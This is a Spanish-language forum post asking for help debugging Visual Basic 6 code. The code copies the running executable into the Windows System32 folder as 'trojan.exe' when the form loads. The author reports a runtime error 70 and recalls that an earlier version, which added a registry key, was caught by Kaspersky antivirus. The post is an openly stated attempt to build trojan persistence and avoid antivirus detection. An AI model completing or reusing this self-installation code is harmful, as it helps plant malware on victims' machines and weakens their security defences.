Bueno haber que me estoy liando :S, aquí está todo lo que tengo que me habeis dicho..
Modulo:
Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Function System32() As String
Dim buf As String
Dim ret As Long
buf = String$(260, Chr$(0))
ret = GetSystemDirectory(buf, Len(buf))
System32 = Left$(buf, ret)
End Function
El formulario:
Private Sub Form_load()
FileCopy App.Path & "\" & App.EXEName & ".exe", System32 & "\trojan.exe"
End Sub
Si lo dejo así, y le doy a ejecutar, no rula, y si le doy al boton que me aparece de depurar, me indica que el error, es la linea del filecopy...
Si lo compilo se compila..., pero cuando tengo el ***.exe, lo ejecuto con normalidad, bien, pero lo que pasa es que se copia mal.
Porque cuando ejecuto el que se ha copiado a system32, me dice que hay un error 70... ese que os he dicho... bien.
Ahora cambio, el private form load, por lo de private timer1_timer..., hago lo mismo que en el anterior..
Y cuando llego a la parte de ir a system32 a ver si se me ha copiado bien noto una minúscula diferencia, y es que me abre el form, pero me sigue tirando el error y me lo cierra.
=S
De hecho, me acuerdo que hace tiempo lo conseguí, y no tube que crear módulo ni nada, pero eso si, el maldito kav me lo detectaba porque añadia una clave al registro.
Bueno sigo necesitando ayuda Saludos y gracias